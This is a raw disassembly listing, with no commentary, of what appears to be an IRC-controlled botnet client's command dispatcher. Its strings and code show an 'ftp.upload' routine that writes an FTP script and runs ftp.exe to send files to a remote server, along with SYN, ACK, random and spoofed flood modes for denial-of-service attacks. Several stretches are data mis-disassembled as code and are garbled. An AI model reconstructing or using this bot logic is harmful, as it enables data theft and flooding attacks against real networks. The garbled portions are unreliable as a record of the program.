		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_43A3B8
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A380
		push	esi
		call	ds:dword_43A400
		call	ds:dword_43A2C8
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_4351B8


loc_40F6E8:				; CODE XREF: seg000:00410853j
					; seg000:00410B3Ej ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40F6F7:				; CODE XREF: seg000:00410837j
					; seg000:00410AE2j ...
		cmp	[ebp-8], ebx
		jnz	loc_4124BC
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_40F721:				; CODE XREF: seg000:0040F592j
		push	dword ptr [ebp+10h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F8EA
		push	dword ptr [ebp+10h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F8EA
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412974
		push	4
		push	esi
		call	sub_40C1E2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7BF
		push	esi
		push	offset dword_43515C


loc_40F786:				; CODE XREF: seg000:0040FA9Cj
					; seg000:00410944j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40F795:				; CODE XREF: seg000:0040FA80j
					; seg000:00410928j ...
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	dword ptr [ebp-4]


loc_40F7A2:				; CODE XREF: seg000:00410663j
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_40F7B2:				; CODE XREF: seg000:00411F0Cj
		call	sub_412D32
		add	esp, 14h
		jmp	loc_412834
; ---------------------------------------------------------------------------


loc_40F7BF:				; CODE XREF: seg000:0040F77Ej
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		pop	ecx
		call	sub_415529
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415529
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415529
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BC8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_40D1FD
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415B76
		push	dword ptr [ebp+2Ch]
		call	sub_415B20
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4154CD
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43A2DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F889
		push	offset dword_4350E0
		jmp	short loc_40F88E
; ---------------------------------------------------------------------------


loc_40F889:				; CODE XREF: seg000:0040F880j
		push	offset dword_4350A0


loc_40F88E:				; CODE XREF: seg000:0040F887j
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40F8B7
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_40F8B7:				; CODE XREF: seg000:0040F899j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151


loc_40F8C3:				; CODE XREF: seg000:0040F8E8j
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_40C1E2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D1FD
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_4178DC
		jmp	short loc_40F8C3
; ---------------------------------------------------------------------------


loc_40F8EA:				; CODE XREF: seg000:0040F732j
					; seg000:0040F749j
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_406B01
		jmp	loc_412971
; ---------------------------------------------------------------------------


loc_40F918:				; CODE XREF: seg000:0040F564j
					; seg000:0040F57Bj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4158F0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F97B
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F97B
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F97B
		push	offset dword_435064
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_40F97B:				; CODE XREF: seg000:0040F941j
					; seg000:0040F958j ...
		push	dword ptr [ebp+18h]
		call	sub_415A3F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40FAA1
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_415A4A
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_415A4A
		push	dword ptr [ebp+8]
		call	sub_415A3F
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40FA12
		mov	eax, offset aNormal ; "Normal"


loc_40FA12:				; CODE XREF: seg000:0040FA0Bj
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_43500C
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Ch
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401BD6
		push	ebx
		push	ebx
		call	near ptr 6BF079F7h
		icebp
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_40FA90


loc_40FA7A:				; CODE XREF: seg000:0040FA8Ej
		cmp	[ebp-568h], ebx
		jnz	loc_40F795
		push	32h
		call	ds:dword_421060
		jmp	short loc_40FA7A
; ---------------------------------------------------------------------------


loc_40FA90:				; CODE XREF: seg000:0040FA78j
		call	ds:dword_421088
		push	eax
		push	offset dword_434FC0
		jmp	loc_40F786
; ---------------------------------------------------------------------------


loc_40FAA1:				; CODE XREF: seg000:0040F98Cj
		push	offset dword_434F74
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_40FAAB:				; CODE XREF: seg000:0040F51Fj
					; seg000:0040F536j ...
		cmp	ds:dword_43A458, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40FBB3
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A3F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_415A3F
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset unk_434F18
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Eh
		push	eax
		call	sub_414F79
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_40A1FB
		push	ebx
		push	ebx
		call	near ptr 1BBD4112h
		lock mov ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_40FBA2


loc_40FB90:				; CODE XREF: seg000:0040FBA0j
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40FBCC
		push	32h
		call	ds:dword_421060
		jmp	short loc_40FB90
; ---------------------------------------------------------------------------


loc_40FBA2:				; CODE XREF: seg000:0040FB8Ej
		call	ds:dword_421088
		push	eax
		push	offset unk_434ECC
		jmp	loc_41075C
; ---------------------------------------------------------------------------


loc_40FBB3:				; CODE XREF: seg000:0040FAB4j
		push	1FFh
		lea	eax, [ebp-2C8h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416D20


loc_40FBC9:				; CODE XREF: seg000:00410768j
		add	esp, 0Ch


loc_40FBCC:				; CODE XREF: seg000:0040FB96j
					; seg000:0040FCDDj ...
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_411EFE
; ---------------------------------------------------------------------------


loc_40FBDE:				; CODE XREF: seg000:0040F4DAj
					; seg000:0040F4F1j ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A3F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_415A3F
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40FC43
		push	esi
		call	sub_415A3F
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40FC49
; ---------------------------------------------------------------------------


loc_40FC43:				; CODE XREF: seg000:0040FC32j
		mov	[ebp-2F8h], ebx


loc_40FC49:				; CODE XREF: seg000:0040FC41j
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset dword_434E58
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Fh
		push	eax
		call	sub_414F79
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	40A387h
		push	ebx
		push	ebx
		call	near ptr 3EB692DBh
		pop	ds
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_40FCED


loc_40FCD7:				; CODE XREF: seg000:0040FCEBj
		cmp	[ebp-2E8h], ebx
		jnz	loc_40FBCC
		push	32h
		call	ds:dword_421060
		jmp	short loc_40FCD7
; ---------------------------------------------------------------------------


loc_40FCED:				; CODE XREF: seg000:0040FCD5j
		call	ds:dword_421088
		push	eax
		push	offset dword_434E0C
		jmp	loc_41075C
; ---------------------------------------------------------------------------


loc_40FCFE:				; CODE XREF: seg000:0040F4ACj
					; seg000:0040F4C3j
		push	8
		call	sub_4151C1
		push	dword ptr [ebp+20h]
		mov	[ebp+10h], eax
		call	sub_415A3F
		add	eax, [ebp+10h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FD51
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-2C8h]
		push	offset dword_434DB8
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32


loc_40FD49:				; CODE XREF: seg000:00411167j
		add	esp, 20h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_40FD51:				; CODE XREF: seg000:0040FD1Aj
		push	edi
		call	sub_415A3F
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A3F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40FD8A
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40FD8A:				; CODE XREF: seg000:0040FD7Fj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FD97
		mov	[ebp-318h], ecx


loc_40FD97:				; CODE XREF: seg000:0040FD8Fj
		push	dword ptr [ebp+18h]
		call	sub_415A3F
		cmp	eax, 1F4h
		pop	ecx
		mov	[ebp-314h], eax
		jbe	short loc_40FDB7
		mov	dword ptr [ebp-314h], 1F4h


loc_40FDB7:				; CODE XREF: seg000:0040FDABj
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_427300, ebx
		mov	[ebp+8], ebx
		jz	short loc_40FE0D
		mov	dword ptr [ebp+2Ch], offset dword_427300


loc_40FDD0:				; CODE XREF: seg000:0040FDEFj
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDF3
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+8]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40FDD0
		jmp	short loc_40FE0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: seg000:0040FDE1j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_427300[ecx]
		mov	[ebp-31Ch], ecx


loc_40FE0D:				; CODE XREF: seg000:0040FDC7j
					; seg000:0040FDF1j
		cmp	[ebp-31Ch], ebx
		jz	loc_411C2F
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40FE54
		cmp	byte ptr [edi],	23h
		jz	short loc_40FE54
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_415A4A
		push	78h
		push	edi
		call	sub_417060
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40FF28
; ---------------------------------------------------------------------------


loc_40FE54:				; CODE XREF: seg000:0040FE22j
					; seg000:0040FE27j
		cmp	[ebp-9B3h], bl
		jnz	short loc_40FE76
		cmp	[ebp-9B2h], bl
		jnz	short loc_40FE76
		cmp	[ebp-9A2h], bl
		jnz	short loc_40FE76
		push	offset dword_434D6C
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_40FE76:				; CODE XREF: seg000:0040FE5Aj
					; seg000:0040FE62j ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A30C
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_416D20
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40FF22
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_417020
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40FF16


loc_40FEF4:				; CODE XREF: seg000:0040FF14j
		cmp	eax, ebx
		jz	short loc_40FF16
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_417020
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40FEF4


loc_40FF16:				; CODE XREF: seg000:0040FEF2j
					; seg000:0040FEF6j
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40FF28
; ---------------------------------------------------------------------------


loc_40FF22:				; CODE XREF: seg000:0040FECCj
		mov	[ebp-2F0h], ebx


loc_40FF28:				; CODE XREF: seg000:0040FE4Fj
					; seg000:0040FF20j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_415A4A
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FF79


loc_40FF66:				; CODE XREF: seg000:0040FF9Cj
		push	esi


loc_40FF67:				; CODE XREF: seg000:0040FF86j
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_40FFA4
; ---------------------------------------------------------------------------


loc_40FF79:				; CODE XREF: seg000:0040FF64j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40FF88
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FF88
		push	eax
		jmp	short loc_40FF67
; ---------------------------------------------------------------------------


loc_40FF88:				; CODE XREF: seg000:0040FF7Ej
					; seg000:0040FF83j
		mov	esi, offset aJv_0 ; "#jv"
		push	offset byte_438F8C
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF66
		mov	[ebp-3A0h], bl


loc_40FFA4:				; CODE XREF: seg000:0040FF77j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FFB6
		mov	eax, offset aSequential	; "Sequential"


loc_40FFB6:				; CODE XREF: seg000:0040FFAFj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434CE0
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset loc_407983
		push	ebx
		push	ebx
		call	near ptr 961340Ah
		test	[ebx-30F73h], cl
		jmp	fword ptr [ecx-37h]
; ---------------------------------------------------------------------------
		dd 234h, 8189C33Bh, 43F50Ch, 9D391674h,	0FFFFFD14h, 0F75B850Fh
		dd 326AFFFFh, 106015FFh, 0EAEB0042h, 108815FFh,	68500042h
		dd 434C94h, 0FFF731E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_410055:				; CODE XREF: seg000:0040F46Cj
					; seg000:0040F483j
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43F510[eax], bl
		jz	loc_412974
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		lea	eax, [ebp-2C8h]
		push	esi
		push	offset dword_434C88
		push	eax
		call	sub_4154CD
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_412974
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	sub_412D32
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43F2F8[eax], 73h
		jnz	loc_412974
		push	esi
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F510
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_41013D:				; CODE XREF: seg000:0041023Aj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32


loc_410162:				; CODE XREF: seg000:004120DAj
		add	esp, 28h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_41016A:				; CODE XREF: seg000:0040F43Ej
					; seg000:0040F455j
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43F510[eax], bl
		jz	loc_412974
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_412974
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	sub_412D32
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43F2F8[eax], 73h
		jnz	loc_412974
		push	esi
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F510
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_41013D
; ---------------------------------------------------------------------------


loc_41023F:				; CODE XREF: seg000:0040F410j
					; seg000:0040F427j
		push	edi
		call	ds:dword_43A3A8
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-46Ch], eax
		call	sub_415A3F
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-468h], eax
		lea	eax, [ebp-4ECh]
		mov	[ebp-4F0h], esi
		push	eax
		call	sub_416D20	; CODE XREF: seg000:004102F4j
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-46Ch]
		push	dword ptr [ebp-460h]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434C18
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F0h]
		push	ebx
		push	eax
		push	offset byte_41454F
		push	ebx
		push	ebx
		call	near ptr 0DA65DB6Ah
		jbe	short near ptr loc_410280+1
		lea	ebx, [ebx+edi*8-36960001h]
		xor	al, 2
; ---------------------------------------------------------------------------
		db 0
		dd 89C33B00h, 43F50C81h, 39167400h, 0FFFBB09Dh,	0DC850FFFh
		dd 6A00001Bh, 6015FF32h, 0EB004210h, 8815FFEAh,	50004210h
		dd 434BC868h, 1BB2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_410332:				; CODE XREF: seg000:0040F3E2j
					; seg000:0040F3F9j
		push	edi
		call	sub_415A3F
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+8]
		call	sub_415A3F
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_415A4A	; CODE XREF: seg000:004103EEj
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434B78
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	10h
		push	eax
		call	sub_414F79
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset loc_407BE2
		push	ebx
		push	ebx
		call	near ptr 68E4BA56h
		jno	short near ptr loc_410378+3
		lea	eax, ds:0C969FFFFh[edi*8]
		xor	al, 2
; ---------------------------------------------------------------------------
		db 2 dup(0), 3Bh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_41041B


loc_410405:				; CODE XREF: seg000:00410419j
		cmp	[ebp-2ECh], ebx
		jnz	loc_411EF3
		push	32h
		call	ds:dword_421060
		jmp	short loc_410405
; ---------------------------------------------------------------------------


loc_41041B:				; CODE XREF: seg000:00410403j
		call	ds:dword_421088
		push	eax
		push	offset unk_434B24
		jmp	loc_411EE4
; ---------------------------------------------------------------------------


loc_41042C:				; CODE XREF: seg000:0040F3B4j
					; seg000:0040F3CBj
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_416D20
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_415A3F
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_410488
		push	10h
		push	ebx
		push	eax
		call	sub_416A69
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_41048E
; ---------------------------------------------------------------------------


loc_410488:				; CODE XREF: seg000:00410472j
		mov	[ebp-578h], ebx


loc_41048E:				; CODE XREF: seg000:00410486j
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_4104A5
		push	esi
		call	sub_415A3F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_4104AB
; ---------------------------------------------------------------------------


loc_4104A5:				; CODE XREF: seg000:00410494j
		mov	[ebp-57Ch], ebx


loc_4104AB:				; CODE XREF: seg000:004104A3j
